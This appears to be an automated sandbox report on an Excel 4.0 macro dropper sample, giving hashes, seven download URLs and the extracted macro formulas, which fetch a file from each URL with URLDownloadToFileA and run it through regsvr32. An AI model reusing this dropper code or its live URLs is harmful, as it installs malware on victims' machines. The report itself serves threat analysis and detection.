General

  • Target

    0dd041b3635a558a1a3f6cfcb07b9c82476a470c777d20b78e7f78f1aaa10fa9

  • Size

    44KB

  • Sample

    241120-2wlc8azlen

  • MD5

    3dc24670b45aa94955797797e2870f88

  • SHA1

    d77961c13b839b8bf751f814a54523bcccfa6b5b

  • SHA256

    0dd041b3635a558a1a3f6cfcb07b9c82476a470c777d20b78e7f78f1aaa10fa9

  • SHA512

    6a26d6c7ab247d39de7270075cb49f72d5a90edfccb540c1b52edb90627ed30f560b5653772be7bced8c9c429caf868c2e037b9a84a70da64bd4c7bb86f0f59d

  • SSDEEP

    768:i1kICkZNRvmHazrfRmUOcIIGq9hqN6994E3ewNXz8OP6AQPHWZinVd0VhkhB:iKItBvGazLRYIzhqOisNz8OP6Tein0Vo

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://www.agretto.com/Template/ziasuz5w8pS08Gm2/

http://www.agnesleung.com/raw.backup/j4ry/

https://lifebotl.com/Response/WllkQWM/

https://livejagat.com/h/SjpRvD/

http://185.187.70.35/wordpress_bo/srvoaI2MBFc/

http://188.166.245.112/sipadu/eFi8UiJETZiK1FB/

http://103.85.95.5/v1/uploads/87DtpAEZULSccOn/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.agretto.com/Template/ziasuz5w8pS08Gm2/","..\wn.ocx",0,0) =IF('KEFGK'!E7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.agnesleung.com/raw.backup/j4ry/","..\wn.ocx",0,0)) =IF('KEFGK'!E9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://lifebotl.com/Response/WllkQWM/","..\wn.ocx",0,0)) =IF('KEFGK'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://livejagat.com/h/SjpRvD/","..\wn.ocx",0,0)) =IF('KEFGK'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://185.187.70.35/wordpress_bo/srvoaI2MBFc/","..\wn.ocx",0,0)) =IF('KEFGK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://185.187.70.35/wordpress_bo/srvoaI2MBFc/","..\wn.ocx",0,0)) =IF('KEFGK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://188.166.245.112/sipadu/eFi8UiJETZiK1FB/","..\wn.ocx",0,0)) =IF('KEFGK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://103.85.95.5/v1/uploads/87DtpAEZULSccOn/","..\wn.ocx",0,0)) =IF('KEFGK'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wn.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://www.agretto.com/Template/ziasuz5w8pS08Gm2/

xlm40.dropper

http://www.agnesleung.com/raw.backup/j4ry/

xlm40.dropper

https://lifebotl.com/Response/WllkQWM/

xlm40.dropper

https://livejagat.com/h/SjpRvD/

xlm40.dropper

http://185.187.70.35/wordpress_bo/srvoaI2MBFc/

xlm40.dropper

http://188.166.245.112/sipadu/eFi8UiJETZiK1FB/

xlm40.dropper

http://103.85.95.5/v1/uploads/87DtpAEZULSccOn/

Targets

    • Target

      0dd041b3635a558a1a3f6cfcb07b9c82476a470c777d20b78e7f78f1aaa10fa9

    • Size

      44KB

    • MD5

      3dc24670b45aa94955797797e2870f88

    • SHA1

      d77961c13b839b8bf751f814a54523bcccfa6b5b

    • SHA256

      0dd041b3635a558a1a3f6cfcb07b9c82476a470c777d20b78e7f78f1aaa10fa9

    • SHA512

      6a26d6c7ab247d39de7270075cb49f72d5a90edfccb540c1b52edb90627ed30f560b5653772be7bced8c9c429caf868c2e037b9a84a70da64bd4c7bb86f0f59d

    • SSDEEP

      768:i1kICkZNRvmHazrfRmUOcIIGq9hqN6994E3ewNXz8OP6AQPHWZinVd0VhkhB:iKItBvGazLRYIzhqOisNz8OP6Tein0Vo

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks